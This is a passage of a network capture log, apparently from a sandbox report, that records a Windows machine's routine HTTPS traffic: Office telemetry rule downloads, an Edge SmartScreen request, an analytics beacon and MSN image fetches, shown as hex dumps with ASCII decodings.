2024-11-12 03:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6d06536c-d01e-005a-3ca0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031630Z-15869dbbcc6khw88hC1DFWbb2000000008tg00000000na5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49824	104.40.82.182	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoicGRHWTNxQm1GRzNzcnpldjBNQ3ZmQT09IiwgImhhc2giOiJJbFhpRFBPaVdTUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-12 03:16:30 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-12 03:16:30 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-11-12 03:16:30 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49822	13.107.246.45	443	2928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031630Z-16547b76f7f7lhvnhC1DFWa2k00000000exg00000000ga1b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2e90e071-a01e-0098-64a3-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031630Z-15869dbbcc6x4rp4hC1DFW3t7w0000000k6g000000006y8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 0faddc02-601e-005c-51a5-34f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031630Z-17df447cdb5g2j9ghC1DFWuyag00000005k000000000cz86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49828	18.161.170.14	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:30 UTC	1012	OUT	GET /b2?rn=1731381388486&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0286CA52A44560A23542DF67A512618F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1520df91e020afd6716591c1731381390; XID=1520df91e020afd6716591c1731381390
2024-11-12 03:16:30 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 12 Nov 2024 03:16:30 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 2970d2220616fe59e954a30ad252cca4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW57-P3 X-Amz-Cf-Id: P3kvlW0eHEeVM7d98iFxyEPiSQDAyBYWLBeLKDwkM_DXX9NJ3Ff96Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49831	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO5 Last-Modified: Fri, 11 Oct 2024 13:06:19 GMT X-Source-Length: 76988 X-Datacenter: westus X-ActivityId: 11874a3c-047d-456e-bfb6-42599b341a3f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 76988 Cache-Control: public, max-age=424344 Expires: Sun, 17 Nov 2024 01:08:55 GMT Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close
2024-11-12 03:16:31 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-12 03:16:31 UTC	16384	IN	Data Raw: c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 6c Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=zl
2024-11-12 03:16:31 UTC	1995	IN	Data Raw: cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 48 Data Ascii: .LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SWH
2024-11-12 03:16:31 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-12 03:16:31 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-12 03:16:31 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-12 03:16:31 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49832	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=392454 Expires: Sat, 16 Nov 2024 16:17:25 GMT Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close
2024-11-12 03:16:31 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 